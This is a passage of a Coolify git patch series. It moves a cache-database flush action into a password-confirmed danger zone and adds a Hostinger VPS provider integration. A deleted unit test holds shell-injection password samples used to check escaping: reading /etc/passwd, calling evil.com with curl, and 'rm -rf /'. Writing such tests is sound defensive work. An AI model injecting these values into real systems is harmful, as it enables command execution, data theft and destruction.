{$cli} FLUSHALL ASYNC")); + Process::assertRan(fn ($process) => str_contains($process->command, "sudo bash -c 'docker exec {$database->uuid} sh -c '\\''REDISCLI_AUTH=\"\$REDIS_PASSWORD\" {$cli} FLUSHALL ASYNC'\\'''")); expect(AuditEvent::query() ->where('event', 'ui.database.flushed') ->where('resource_uuid', $database->uuid) ->exists())->toBeTrue(); })->with([ 'redis' => [StandaloneRedis::class, [], 'redis-cli'], - 'keydb' => [StandaloneKeydb::class, ['keydb_password' => 'secret'], "keydb-cli -a 'secret'"], - 'dragonfly with tls' => [StandaloneDragonfly::class, ['dragonfly_password' => 'secret', 'enable_ssl' => true], "redis-cli --tls --cacert /etc/dragonfly/certs/coolify-ca.crt --cert /etc/dragonfly/certs/server.crt --key /etc/dragonfly/certs/server.key -a 'secret'"], + 'keydb' => [StandaloneKeydb::class, ['keydb_password' => 'secret'], 'keydb-cli'], + 'dragonfly with tls' => [StandaloneDragonfly::class, ['dragonfly_password' => 'secret', 'enable_ssl' => true], 'redis-cli --tls --cacert /etc/dragonfly/certs/coolify-ca.crt --cert /etc/dragonfly/certs/server.crt --key /etc/dragonfly/certs/server.key'], ]); test('reports an error when the database does not reply OK', function () { diff --git a/tests/Unit/FlushCacheDatabaseCommandTest.php b/tests/Unit/FlushCacheDatabaseCommandTest.php deleted file mode 100644 index 86982b457c..0000000000 --- a/tests/Unit/FlushCacheDatabaseCommandTest.php +++ /dev/null @@ -1,39 +0,0 @@ - ['pass; id > /tmp/pwned; echo'], - 'command substitution $()' => ['pass$(id > /tmp/pwned)'], - 'backtick substitution' => ['pass`id > /tmp/pwned`'], - 'pipe operator' => ['pass | cat /etc/passwd'], - 'background operator' => ['pass & curl http://evil.com'], - 'single quote breakout' => ["pass' ; rm -rf / ; '"], -]); - -test('flush command runs FLUSHALL ASYNC via docker exec against the container uuid', function () { - $command = (new FlushCacheDatabase)->buildFlushCommand('abc123uuid', 'secret'); - - expect($command)->toStartWith('docker exec abc123uuid redis-cli') - ->and($command)->toEndWith('FLUSHALL ASYNC') - ->and($command)->toContain("-a 'secret'"); -}); - -test('flush command omits the -a flag when no password is set', function () { - $command = (new FlushCacheDatabase)->buildFlushCommand('abc123uuid', null); - - expect($command)->toBe('docker exec abc123uuid redis-cli FLUSHALL ASYNC') - ->and($command)->not->toContain('-a'); -}); - -test('flush command shell-escapes the password so it cannot inject shell commands', function (string $malicious) { - $command = (new FlushCacheDatabase)->buildFlushCommand('abc123uuid', $malicious); - - // The password must appear only inside a single-quoted, escaped argument. - expect($command)->toContain(escapeshellarg($malicious)) - ->and($command)->toEndWith('FLUSHALL ASYNC'); - - // Strip the escaped password out; nothing dangerous may remain in the raw command. - $withoutPassword = str_replace(escapeshellarg($malicious), '', $command); - expect($withoutPassword)->toBe('docker exec abc123uuid redis-cli -a FLUSHALL ASYNC'); -})->with('malicious_passwords'); From 5d9ea79ac802dc1fca4142948fc4a7ab2e5b33ce Mon Sep 17 00:00:00 2001 From: peaklabs-dev <122374094+peaklabs-dev@users.noreply.github.com> Date: Sun, 4 Oct 2026 22:42:31 +0200 Subject: [PATCH 17/24] refactor(database): move flush into the shared danger zone --- app/Livewire/Project/Database/FlushCache.php | 61 ------- app/Livewire/Project/Shared/Danger.php | 26 +++ .../project/database/configuration.blade.php | 7 +- .../project/database/flush-cache.blade.php | 43 ----- .../livewire/project/shared/danger.blade.php | 17 ++ tests/Feature/DatabaseFlushCacheTest.php | 160 ------------------ tests/Feature/DatabaseFlushTest.php | 112 ++++++++++++ 7 files changed, 156 insertions(+), 270 deletions(-) delete mode 100644 app/Livewire/Project/Database/FlushCache.php delete mode 100644 resources/views/livewire/project/database/flush-cache.blade.php delete mode 100644 tests/Feature/DatabaseFlushCacheTest.php create mode 100644 tests/Feature/DatabaseFlushTest.php diff --git a/app/Livewire/Project/Database/FlushCache.php b/app/Livewire/Project/Database/FlushCache.php deleted file mode 100644 index 96bbe0b9c4..0000000000 --- a/app/Livewire/Project/Database/FlushCache.php +++ /dev/null @@ -1,61 +0,0 @@ -authorize('view', $this->database); - } - - public function flush(): void - { - try { - $this->authorize('manage', $this->database); - - if (! $this->isCacheDatabase()) { - throw new \RuntimeException('This database type does not support cache flushing.'); - } - - FlushCacheDatabase::run($this->database); - $this->auditFlush(); - $this->dispatch('success', 'Cache flushed successfully.'); - } catch (\Throwable $e) { - handleError($e, $this); - } - } - - public function isCacheDatabase(): bool - { - return $this->database instanceof StandaloneRedis - || $this->database instanceof StandaloneKeydb - || $this->database instanceof StandaloneDragonfly; - } - - private function auditFlush(): void - { - auditLog('ui.database.flushed', [ - 'team_id' => $this->database->team()?->id, - 'database_uuid' => $this->database->uuid, - 'database_name' => $this->database->name, - ]); - } - - public function render(): View - { - return view('livewire.project.database.flush-cache'); - } -} diff --git a/app/Livewire/Project/Shared/Danger.php b/app/Livewire/Project/Shared/Danger.php index 4de58e145e..87b6e3d8ed 100644 --- a/app/Livewire/Project/Shared/Danger.php +++ b/app/Livewire/Project/Shared/Danger.php @@ -2,6 +2,7 @@ namespace App\Livewire\Project\Shared; +use App\Actions\Database\FlushCacheDatabase; use App\Jobs\DeleteResourceJob; use App\Models\Service; use App\Models\ServiceApplication; @@ -157,6 +158,31 @@ class Danger extends Component } } + public function flush($password) + { + try { + $this->authorize('manage', $this->resource); + + if (! verifyPasswordConfirmation($password, $this)) { + return 'The provided password is incorrect.'; + } + + FlushCacheDatabase::run($this->resource); + auditLog('ui.database.flushed', [ + 'team_id' => $this->resource->team()?->id, + 'database_uuid' => $this->resource->uuid, + 'database_name' => $this->resource->name, + ]); + $this->dispatch('success', 'Database flushed.'); + + return true; + } catch (\Throwable $e) { + handleError($e, $this); + + return false; + } + } + public function render() { return view('livewire.project.shared.danger', [ diff --git a/resources/views/livewire/project/database/configuration.blade.php b/resources/views/livewire/project/database/configuration.blade.php index 397dbafe28..23778effa3 100644 --- a/resources/views/livewire/project/database/configuration.blade.php +++ b/resources/views/livewire/project/database/configuration.blade.php @@ -53,12 +53,7 @@ @elseif ($currentRoute === 'project.database.tags') @elseif ($currentRoute === 'project.database.danger') -
- @if (in_array($database->type(), ['standalone-redis', 'standalone-keydb', 'standalone-dragonfly'])) - - @endif - -
+ @endif diff --git a/resources/views/livewire/project/database/flush-cache.blade.php b/resources/views/livewire/project/database/flush-cache.blade.php deleted file mode 100644 index 9de2ee5666..0000000000 --- a/resources/views/livewire/project/database/flush-cache.blade.php +++ /dev/null @@ -1,43 +0,0 @@ -
- -
-
-
-
-

Flush cache

- -
-

- Permanently erase every key in - {{ $database->name }} - by running FLUSHALL ASYNC inside the running container. -

-
    -
  • • All cached data is removed and cannot be recovered.
  • -
  • • The database container keeps running; only its data is cleared.
  • -
  • • The database must be running for this action to work.
  • -
-
- -
- @can('manage', $database) - - @else - - Flush cache - - @endcan -
-
-
-
-
diff --git a/resources/views/livewire/project/shared/danger.blade.php b/resources/views/livewire/project/shared/danger.blade.php index faeff1aed2..5aaf304ef1 100644 --- a/resources/views/livewire/project/shared/danger.blade.php +++ b/resources/views/livewire/project/shared/danger.blade.php @@ -17,6 +17,23 @@ @endif + @if (in_array($resource?->type(), ['standalone-redis', 'standalone-keydb', 'standalone-dragonfly'])) + +

+ Permanently remove every key from + {{ $resourceName }}. + The database keeps running. +

+ + + +
+ @endif

Permanently delete diff --git a/tests/Feature/DatabaseFlushCacheTest.php b/tests/Feature/DatabaseFlushCacheTest.php deleted file mode 100644 index a8b38de4db..0000000000 --- a/tests/Feature/DatabaseFlushCacheTest.php +++ /dev/null @@ -1,160 +0,0 @@ -withoutDefer(); - - InstanceSettings::forceCreate(['id' => 0]); - - $this->team = Team::factory()->create(); - $this->user = User::factory()->create(); - $this->team->members()->attach($this->user->id, ['role' => 'owner']); - $this->actingAs($this->user); - session(['currentTeam' => $this->team]); - - $server = Server::factory()->create([ - 'team_id' => $this->team->id, - 'private_key_id' => PrivateKey::factory()->create(['team_id' => $this->team->id])->id, - 'user' => 'deploy', - ]); - $server->settings->update(['is_reachable' => true, 'is_usable' => true, 'force_disabled' => false]); - $this->destination = StandaloneDocker::where('server_id', $server->id)->firstOrFail(); - $project = Project::factory()->create(['team_id' => $this->team->id]); - $this->environment = Environment::factory()->create(['project_id' => $project->id]); -}); - -function makeRedis(mixed $environment, mixed $destination): StandaloneRedis -{ - return StandaloneRedis::create([ - 'name' => 'cache-redis', - 'image' => 'redis:7', - 'redis_password' => 'password', - 'redis_username' => 'default', - 'status' => 'running:healthy', - 'environment_id' => $environment->id, - 'destination_id' => $destination->id, - 'destination_type' => $destination->getMorphClass(), - ]); -} - -function makePostgres(mixed $environment, mixed $destination): StandalonePostgresql -{ - return StandalonePostgresql::create([ - 'name' => 'app-postgres', - 'image' => 'postgres:16', - 'postgres_user' => 'coolify', - 'postgres_password' => 'password', - 'postgres_db' => 'coolify', - 'status' => 'running:healthy', - 'environment_id' => $environment->id, - 'destination_id' => $destination->id, - 'destination_type' => $destination->getMorphClass(), - ]); -} - -test('flushes every key with the engine CLI and records an audit event', function (string $model, array $attributes, string $cli) { - $database = $model::create([ - 'name' => 'cache', - 'image' => 'redis:7', - 'environment_id' => $this->environment->id, - 'destination_id' => $this->destination->id, - 'destination_type' => $this->destination->getMorphClass(), - ...$attributes, - ]); - Process::fake(['*' => Process::result(output: 'OK')]); - - Livewire::test(FlushCache::class, ['database' => $database]) - ->call('flush') - ->assertDispatched('success'); - - Process::assertRan(fn ($process) => str_contains($process->command, "sudo bash -c 'docker exec {$database->uuid} sh -c '\\''REDISCLI_AUTH=\"\$REDIS_PASSWORD\" {$cli} FLUSHALL ASYNC'\\'''")); - expect(AuditEvent::query() - ->where('event', 'ui.database.flushed') - ->where('resource_uuid', $database->uuid) - ->exists())->toBeTrue(); -})->with([ - 'redis' => [StandaloneRedis::class, [], 'redis-cli'], - 'keydb' => [StandaloneKeydb::class, ['keydb_password' => 'secret'], 'keydb-cli'], - 'dragonfly with tls' => [StandaloneDragonfly::class, ['dragonfly_password' => 'secret', 'enable_ssl' => true], 'redis-cli --tls --cacert /etc/dragonfly/certs/coolify-ca.crt --cert /etc/dragonfly/certs/server.crt --key /etc/dragonfly/certs/server.key'], -]); - -test('reports an error when the database does not reply OK', function () { - $redis = makeRedis($this->environment, $this->destination); - Process::fake(['*' => Process::result(output: 'NOAUTH Authentication required.')]); - - Livewire::test(FlushCache::class, ['database' => $redis]) - ->call('flush') - ->assertDispatched('error', 'NOAUTH Authentication required.'); - - expect(AuditEvent::query()->where('event', 'ui.database.flushed')->exists())->toBeFalse(); -}); - -test('refuses to flush a non-cache database and does not run the action', function () { - $postgres = makePostgres($this->environment, $this->destination); - - FlushCacheDatabase::mock()->shouldReceive('handle')->never(); - - Livewire::test(FlushCache::class, ['database' => $postgres]) - ->call('flush') - ->assertDispatched('error'); - - expect(AuditEvent::query()->where('event', 'ui.database.flushed')->exists())->toBeFalse(); -}); - -test('denies flushing to a member without manage permission', function () { - $redis = makeRedis($this->environment, $this->destination); - - $member = User::factory()->create(); - $this->team->members()->attach($member->id, ['role' => 'member']); - $this->actingAs($member); - session(['currentTeam' => $this->team]); - - FlushCacheDatabase::mock()->shouldReceive('handle')->never(); - - Livewire::test(FlushCache::class, ['database' => $redis]) - ->call('flush') - ->assertDispatched('error'); - - expect(AuditEvent::query()->where('event', 'ui.database.flushed')->exists())->toBeFalse(); -}); - -test('renders the flush cache card for a cache database', function () { - $redis = makeRedis($this->environment, $this->destination); - - Livewire::test(FlushCache::class, ['database' => $redis]) - ->assertSee('Flush cache') - ->assertSee('FLUSHALL ASYNC'); -}); - -test('the danger page wires the flush cache section only for cache database types', function () { - $source = file_get_contents(resource_path('views/livewire/project/database/configuration.blade.php')); - - // The flush-cache component is rendered on the danger route, guarded to the three cache types. - expect($source) - ->toContain('project.database.flush-cache') - ->toMatch('/in_array\(\$database->type\(\), \[.*standalone-redis.*standalone-keydb.*standalone-dragonfly.*\]\)[\s\S]*project\.database\.flush-cache/'); - - // It must no longer live in the heading action menu. - $heading = file_get_contents(resource_path('views/livewire/project/database/heading.blade.php')); - expect($heading)->not->toContain('Flush cache'); -}); diff --git a/tests/Feature/DatabaseFlushTest.php b/tests/Feature/DatabaseFlushTest.php new file mode 100644 index 0000000000..476aed154d --- /dev/null +++ b/tests/Feature/DatabaseFlushTest.php @@ -0,0 +1,112 @@ + 0]); + $this->withoutDefer(); +}); + +function createFlushableDatabase(string $model, array $attributes = []): StandaloneRedis|StandaloneKeydb|StandaloneDragonfly +{ + $team = Team::factory()->create(); + $server = Server::factory()->create([ + 'team_id' => $team->id, + 'private_key_id' => PrivateKey::factory()->create(['team_id' => $team->id])->id, + 'user' => 'deploy', + ]); + $destination = StandaloneDocker::where('server_id', $server->id)->firstOrFail(); + $project = Project::factory()->create(['team_id' => $team->id]); + + return $model::create([ + 'name' => 'cache', + 'image' => 'redis:7', + 'environment_id' => Environment::factory()->create(['project_id' => $project->id])->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ...$attributes, + ]); +} + +function actingAsFlushUser(Team $team, string $role): void +{ + $user = User::factory()->create(); + $team->members()->attach($user->id, ['role' => $role]); + test()->actingAs($user); + session(['currentTeam' => $team]); +} + +it('flushes every key with the engine CLI', function (string $model, array $attributes, string $cli) { + $database = createFlushableDatabase($model, $attributes); + actingAsFlushUser($database->team(), 'owner'); + Process::fake(['*' => Process::result(output: 'OK')]); + + Livewire::test(Danger::class, ['resource' => $database]) + ->call('flush', 'password') + ->assertReturned(true) + ->assertDispatched('success'); + + Process::assertRan(fn ($process) => str_contains($process->command, "sudo bash -c 'docker exec {$database->uuid} sh -c '\\''REDISCLI_AUTH=\"\$REDIS_PASSWORD\" {$cli} FLUSHALL ASYNC'\\'''")); + expect(AuditEvent::query()->where('event', 'ui.database.flushed')->where('resource_uuid', $database->uuid)->exists())->toBeTrue(); +})->with([ + 'redis' => [StandaloneRedis::class, [], 'redis-cli'], + 'keydb' => [StandaloneKeydb::class, ['keydb_password' => 'secret'], 'keydb-cli'], + 'dragonfly with tls' => [StandaloneDragonfly::class, ['dragonfly_password' => 'secret', 'enable_ssl' => true], 'redis-cli --tls --cacert /etc/dragonfly/certs/coolify-ca.crt --cert /etc/dragonfly/certs/server.crt --key /etc/dragonfly/certs/server.key'], +]); + +it('reports an error when the database does not reply OK', function () { + $database = createFlushableDatabase(StandaloneRedis::class); + actingAsFlushUser($database->team(), 'owner'); + Process::fake(['*' => Process::result(output: 'NOAUTH Authentication required.')]); + + Livewire::test(Danger::class, ['resource' => $database]) + ->call('flush', 'password') + ->assertReturned(false) + ->assertDispatched('error', 'NOAUTH Authentication required.'); + + expect(AuditEvent::query()->where('event', 'ui.database.flushed')->exists())->toBeFalse(); +}); + +it('rejects an incorrect password without flushing', function () { + $database = createFlushableDatabase(StandaloneRedis::class); + actingAsFlushUser($database->team(), 'owner'); + Process::fake(); + + Livewire::test(Danger::class, ['resource' => $database]) + ->call('flush', 'wrong-password') + ->assertReturned('The provided password is incorrect.'); + + Process::assertNothingRan(); +}); + +it('forbids flushing without permission to manage the database', function (string $role, bool $sameTeam) { + $database = createFlushableDatabase(StandaloneRedis::class); + actingAsFlushUser($sameTeam ? $database->team() : Team::factory()->create(), $role); + Process::fake(); + + Livewire::test(Danger::class, ['resource' => $database]) + ->call('flush', 'password') + ->assertDispatched('error'); + + Process::assertNothingRan(); +})->with([ + 'team member' => ['member', true], + 'admin of another team' => ['admin', false], +]); From 189207a7a5444b36c7990febbcb2019c77bacd11 Mon Sep 17 00:00:00 2001 From: peaklabs-dev <122374094+peaklabs-dev@users.noreply.github.com> Date: Sun, 4 Oct 2026 22:42:34 +0200 Subject: [PATCH 18/24] refactor(database): rename FlushCacheDatabase action to FlushDatabase --- .../Database/{FlushCacheDatabase.php => FlushDatabase.php} | 2 +- app/Livewire/Project/Shared/Danger.php | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) rename app/Actions/Database/{FlushCacheDatabase.php => FlushDatabase.php} (97%) diff --git a/app/Actions/Database/FlushCacheDatabase.php b/app/Actions/Database/FlushDatabase.php similarity index 97% rename from app/Actions/Database/FlushCacheDatabase.php rename to app/Actions/Database/FlushDatabase.php index edf6bc811f..d6fd152490 100644 --- a/app/Actions/Database/FlushCacheDatabase.php +++ b/app/Actions/Database/FlushDatabase.php @@ -8,7 +8,7 @@ use App\Models\StandaloneRedis; use Lorisleiva\Actions\Concerns\AsAction; use RuntimeException; -class FlushCacheDatabase +class FlushDatabase { use AsAction; diff --git a/app/Livewire/Project/Shared/Danger.php b/app/Livewire/Project/Shared/Danger.php index 87b6e3d8ed..0865974828 100644 --- a/app/Livewire/Project/Shared/Danger.php +++ b/app/Livewire/Project/Shared/Danger.php @@ -2,7 +2,7 @@ namespace App\Livewire\Project\Shared; -use App\Actions\Database\FlushCacheDatabase; +use App\Actions\Database\FlushDatabase; use App\Jobs\DeleteResourceJob; use App\Models\Service; use App\Models\ServiceApplication; @@ -167,7 +167,7 @@ class Danger extends Component return 'The provided password is incorrect.'; } - FlushCacheDatabase::run($this->resource); + FlushDatabase::run($this->resource); auditLog('ui.database.flushed', [ 'team_id' => $this->resource->team()?->id, 'database_uuid' => $this->resource->uuid, From e7025612b8266c84ffc02b9de03489e3a4360707 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 7 Oct 2026 13:14:04 +0200 Subject: [PATCH 19/24] feat(hostinger): add cloud provider integration (#11176) --- app/Actions/Server/DeleteServer.php | 57 +- app/Actions/Server/ValidateServer.php | 9 + .../Api/CloudProviderTokensController.php | 10 +- .../Controllers/Api/HostingerController.php | 365 +++++++++++++ .../ServerCloudProviderStatusCheckJob.php | 3 + app/Jobs/ServerManagerJob.php | 3 +- .../Security/CloudProviderToken/Show.php | 15 + .../Security/CloudProviderTokenForm.php | 18 +- app/Livewire/Security/CloudProviderTokens.php | 20 + .../Server/CloudProviderToken/Show.php | 61 ++- app/Livewire/Server/Create.php | 2 +- app/Livewire/Server/CreatePage.php | 3 + app/Livewire/Server/Delete.php | 15 +- app/Livewire/Server/New/ByHostinger.php | 514 ++++++++++++++++++ app/Livewire/Server/Show.php | 205 +++++++ app/Livewire/Server/ValidateAndInstall.php | 12 + app/Mcp/Concerns/BuildsResponse.php | 2 +- app/Models/Server.php | 24 + app/Services/HostingerService.php | 224 ++++++++ ...irtual_machine_fields_to_servers_table.php | 32 ++ openapi.json | 193 ++++++- openapi.yaml | 125 ++++- .../views/components/hostinger-icon.blade.php | 7 + .../views/components/server/sidebar.blade.php | 2 +- .../views/livewire/boarding/index.blade.php | 17 + .../cloud-provider-token-form.blade.php | 2 + .../cloud-provider-token/show.blade.php | 4 +- .../views/livewire/server/create.blade.php | 20 +- .../views/livewire/server/delete.blade.php | 18 +- .../server/new/by-hostinger.blade.php | 147 +++++ .../views/livewire/server/show.blade.php | 36 +- routes/api.php | 8 + routes/web.php | 4 +- scripts/dev | 7 +- tests/Feature/BoardingActionsLayoutTest.php | 84 +++ .../Feature/CloudProviderLinkDropdownTest.php | 49 +- tests/Feature/CloudProviderTokenShowTest.php | 18 + tests/Feature/DevScriptTest.php | 24 + tests/Feature/HostingerApiTest.php | 273 ++++++++++ tests/Feature/HostingerServerCreationTest.php | 484 +++++++++++++++++ tests/Feature/ModelFillableCreationTest.php | 4 + .../Security/CloudProviderTokenFormTest.php | 30 +- .../Security/CloudProviderTokenShowTest.php | 15 + .../ServerCloudProviderStatusCheckJobTest.php | 30 + tests/Unit/CloudProviderTokenFormViewTest.php | 42 ++ tests/Unit/HostingerDeleteServerTest.php | 90 +++ tests/Unit/HostingerIconTest.php | 10 + tests/Unit/HostingerServerStateTest.php | 45 ++ tests/Unit/HostingerServiceTest.php | 339 ++++++++++++ 49 files changed, 3684 insertions(+), 37 deletions(-) create mode 100644 app/Http/Controllers/Api/HostingerController.php create mode 100644 app/Livewire/Server/New/ByHostinger.php create mode 100644 app/Services/HostingerService.php create mode 100644 database/migrations/2026_07_10_210239_add_hostinger_virtual_machine_fields_to_servers_table.php create mode 100644 resources/views/components/hostinger-icon.blade.php create mode 100644 resources/views/livewire/server/new/by-hostinger.blade.php create mode 100644 tests/Feature/BoardingActionsLayoutTest.php create mode 100644 tests/Feature/HostingerApiTest.php create mode 100644 tests/Feature/HostingerServerCreationTest.php create mode 100644 tests/Unit/HostingerDeleteServerTest.php create mode 100644 tests/Unit/HostingerIconTest.php create mode 100644 tests/Unit/HostingerServerStateTest.php create mode 100644 tests/Unit/HostingerServiceTest.php diff --git a/app/Actions/Server/DeleteServer.php b/app/Actions/Server/DeleteServer.php index c6f0320133..428d696fdc 100644 --- a/app/Actions/Server/DeleteServer.php +++ b/app/Actions/Server/DeleteServer.php @@ -8,6 +8,7 @@ use App\Models\Team; use App\Notifications\Server\HetznerDeletionFailed; use App\Services\DigitalOceanService; use App\Services\HetznerService; +use App\Services\HostingerService; use App\Services\VultrService; use Lorisleiva\Actions\Concerns\AsAction; @@ -15,7 +16,7 @@ class DeleteServer { use AsAction; - public function handle(int $serverId, bool $deleteFromHetzner = false, ?int $hetznerServerId = null, ?int $cloudProviderTokenId = null, ?int $teamId = null, bool $deleteFromVultr = false, ?string $vultrInstanceId = null, bool $deleteFromDigitalOcean = false, ?int $digitalOceanDropletId = null) + public function handle(int $serverId, bool $deleteFromHetzner = false, ?int $hetznerServerId = null, ?int $cloudProviderTokenId = null, ?int $teamId = null, bool $deleteFromVultr = false, ?string $vultrInstanceId = null, bool $deleteFromDigitalOcean = false, ?int $digitalOceanDropletId = null, bool $deleteFromHostinger = false, ?int $hostingerVirtualMachineId = null) { $server = Server::withTrashed()->find($serverId); @@ -44,6 +45,14 @@ class DeleteServer ); } + if ($deleteFromHostinger && ($hostingerVirtualMachineId || ($server && $server->hostinger_virtual_machine_id))) { + $this->deleteFromHostingerById( + $hostingerVirtualMachineId ?? $server->hostinger_virtual_machine_id, + $cloudProviderTokenId ?? $server->cloud_provider_token_id, + $teamId ?? $server->team_id + ); + } + logger()->debug($server ? 'Deleting server from Coolify' : 'Server already deleted from Coolify, skipping Coolify deletion'); // If server is already deleted from Coolify, skip this part @@ -182,4 +191,50 @@ class DeleteServer throw $e; } } + + private function deleteFromHostingerById(int $hostingerVirtualMachineId, ?int $cloudProviderTokenId, int $teamId): void + { + try { + $token = null; + + if ($cloudProviderTokenId) { + $token = CloudProviderToken::where('id', $cloudProviderTokenId) + ->where('team_id', $teamId) + ->where('provider', 'hostinger') + ->first(); + } + + if (! $token) { + $token = CloudProviderToken::where('team_id', $teamId) + ->where('provider', 'hostinger') + ->first(); + } + + if (! $token) { + throw new \RuntimeException('No Hostinger token found for the server team.'); + } + + $hostingerService = new HostingerService($token->token); + $subscriptionId = $hostingerService->getVirtualMachine($hostingerVirtualMachineId)['subscription_id'] ?? null; + + if (! $subscriptionId) { + throw new \RuntimeException('The Hostinger VPS has no subscription.'); + } + + $hostingerService->disableAutoRenewal($subscriptionId); + + logger()->debug('Disabled Hostinger auto-renewal, so Hostinger deletes the VPS at the end of the paid period', [ + 'hostinger_virtual_machine_id' => $hostingerVirtualMachineId, + 'team_id' => $teamId, + ]); + } catch (\Throwable $e) { + logger()->error('Failed to delete VPS from Hostinger', [ + 'error' => $e->getMessage(), + 'hostinger_virtual_machine_id' => $hostingerVirtualMachineId, + 'team_id' => $teamId, + ]); + + throw $e; + } + } } diff --git a/app/Actions/Server/ValidateServer.php b/app/Actions/Server/ValidateServer.php index 9bb15c2053..7c973130c4 100644 --- a/app/Actions/Server/ValidateServer.php +++ b/app/Actions/Server/ValidateServer.php @@ -63,6 +63,15 @@ class ValidateServer } } + if ($server->hostinger_virtual_machine_id) { + $status = $server->refreshHostingerState(); + if (in_array($status, ['stopping', 'stopped', 'suspending', 'suspended', 'destroying', 'destroyed', 'error'], true)) { + $this->error = 'Hostinger VPS is '.($status ?? 'not running').'. Power it on before validating.'; + $server->update(['validation_logs' => $this->error]); + throw new \Exception($this->error); + } + } + ['uptime' => $this->uptime, 'error' => $error] = $server->validateConnection(); if (! $this->uptime) { $sanitizedError = htmlspecialchars($error ?? '', ENT_QUOTES, 'UTF-8'); diff --git a/app/Http/Controllers/Api/CloudProviderTokensController.php b/app/Http/Controllers/Api/CloudProviderTokensController.php index ad699e8f12..eca3397493 100644 --- a/app/Http/Controllers/Api/CloudProviderTokensController.php +++ b/app/Http/Controllers/Api/CloudProviderTokensController.php @@ -45,6 +45,10 @@ class CloudProviderTokensController extends Controller 'vultr' => Http::withHeaders([ 'Authorization' => 'Bearer '.$token, ])->timeout(10)->get('https://api.vultr.com/v2/account'), + 'hostinger' => Http::withToken($token) + ->acceptJson() + ->timeout(10) + ->get('https://developers.hostinger.com/api/vps/v1/virtual-machines'), default => null, }; @@ -90,7 +94,7 @@ class CloudProviderTokensController extends Controller properties: [ 'uuid' => ['type' => 'string'], 'name' => ['type' => 'string'], - 'provider' => ['type' => 'string', 'enum' => ['hetzner', 'digitalocean', 'vultr']], + 'provider' => ['type' => 'string', 'enum' => ['hetzner', 'digitalocean', 'vultr', 'hostinger']], 'team_id' => ['type' => 'integer'], 'servers_count' => ['type' => 'integer'], 'created_at' => ['type' => 'string'], @@ -208,7 +212,7 @@ class CloudProviderTokensController extends Controller type: 'object', required: ['provider', 'token', 'name'], properties: [ - 'provider' => ['type' => 'string', 'enum' => ['hetzner', 'digitalocean', 'vultr'], 'example' => 'hetzner', 'description' => 'The cloud provider.'], + 'provider' => ['type' => 'string', 'enum' => ['hetzner', 'digitalocean', 'vultr', 'hostinger'], 'example' => 'hetzner', 'description' => 'The cloud provider.'], 'token' => ['type' => 'string', 'example' => 'your-api-token-here', 'description' => 'The API token for the cloud provider.'], 'name' => ['type' => 'string', 'example' => 'My Hetzner Token', 'description' => 'A friendly name for the token.'], ], @@ -263,7 +267,7 @@ class CloudProviderTokensController extends Controller $body = $request->json()->all(); $validator = customApiValidator($body, [ - 'provider' => 'required|string|in:hetzner,digitalocean,vultr', + 'provider' => 'required|string|in:hetzner,digitalocean,vultr,hostinger', 'token' => 'required|string', 'name' => 'required|string|max:255', ]); diff --git a/app/Http/Controllers/Api/HostingerController.php b/app/Http/Controllers/Api/HostingerController.php new file mode 100644 index 0000000000..84017e7ded --- /dev/null +++ b/app/Http/Controllers/Api/HostingerController.php @@ -0,0 +1,365 @@ + []]], + tags: ['Hostinger'], + responses: [ + new OA\Response(response: 200, description: 'List of Hostinger VPS data centers.'), + new OA\Response(response: 401, ref: '#/components/responses/401'), + new OA\Response(response: 403, description: 'Hostinger denied access to this resource for the cloud provider token.'), + new OA\Response(response: 422, description: 'Validation failed.'), + new OA\Response(response: 429, description: 'Hostinger rate limit exceeded.'), + ] + )] + public function dataCenters(Request $request): JsonResponse + { + return $this->providerData($request, 'getDataCenters', 'data centers'); + } + + #[OA\Get( + path: '/hostinger/catalog', + operationId: 'get-hostinger-catalog', + summary: 'Get Hostinger VPS plans and prices', + security: [['bearerAuth' => []]], + tags: ['Hostinger'], + responses: [ + new OA\Response(response: 200, description: 'List of Hostinger VPS plans and prices.'), + new OA\Response(response: 401, ref: '#/components/responses/401'), + new OA\Response(response: 403, description: 'Hostinger denied access to this resource for the cloud provider token.'), + new OA\Response(response: 422, description: 'Validation failed.'), + new OA\Response(response: 429, description: 'Hostinger rate limit exceeded.'), + ] + )] + public function catalog(Request $request): JsonResponse + { + return $this->providerData($request, 'getCatalogItems', 'catalog'); + } + + #[OA\Get( + path: '/hostinger/templates', + operationId: 'get-hostinger-templates', + summary: 'Get Hostinger VPS operating system templates', + security: [['bearerAuth' => []]], + tags: ['Hostinger'], + responses: [ + new OA\Response(response: 200, description: 'List of Hostinger VPS templates.'), + new OA\Response(response: 401, ref: '#/components/responses/401'), + new OA\Response(response: 403, description: 'Hostinger denied access to this resource for the cloud provider token.'), + new OA\Response(response: 422, description: 'Validation failed.'), + new OA\Response(response: 429, description: 'Hostinger rate limit exceeded.'), + ] + )] + public function templates(Request $request): JsonResponse + { + return $this->providerData($request, 'getTemplates', 'templates'); + } + + #[OA\Get( + path: '/hostinger/ssh-keys', + operationId: 'get-hostinger-ssh-keys', + summary: 'Get Hostinger account SSH keys', + security: [['bearerAuth' => []]], + tags: ['Hostinger'], + responses: [ + new OA\Response(response: 200, description: 'List of Hostinger account SSH keys.'), + new OA\Response(response: 401, ref: '#/components/responses/401'), + new OA\Response(response: 403, description: 'Hostinger denied access to this resource for the cloud provider token.'), + new OA\Response(response: 422, description: 'Validation failed.'), + new OA\Response(response: 429, description: 'Hostinger rate limit exceeded.'), + ] + )] + public function sshKeys(Request $request): JsonResponse + { + return $this->providerData($request, 'getPublicKeys', 'SSH keys'); + } + + #[OA\Get( + path: '/hostinger/post-install-scripts', + operationId: 'get-hostinger-post-install-scripts', + summary: 'Get Hostinger post-install scripts', + security: [['bearerAuth' => []]], + tags: ['Hostinger'], + responses: [ + new OA\Response(response: 200, description: 'List of Hostinger post-install scripts.'), + new OA\Response(response: 401, ref: '#/components/responses/401'), + new OA\Response(response: 403, description: 'Hostinger denied access to this resource for the cloud provider token.'), + new OA\Response(response: 422, description: 'Validation failed.'), + new OA\Response(response: 429, description: 'Hostinger rate limit exceeded.'), + ] + )] + public function postInstallScripts(Request $request): JsonResponse + { + return $this->providerData($request, 'getPostInstallScripts', 'post-install scripts'); + } + + #[OA\Post( + path: '/servers/hostinger', + operationId: 'create-hostinger-server', + summary: 'Purchase a Hostinger VPS and create a linked server', + security: [['bearerAuth' => []]], + tags: ['Hostinger'], + responses: [ + new OA\Response(response: 201, description: 'Hostinger VPS purchased and linked to a Coolify server.'), + new OA\Response(response: 401, ref: '#/components/responses/401'), + new 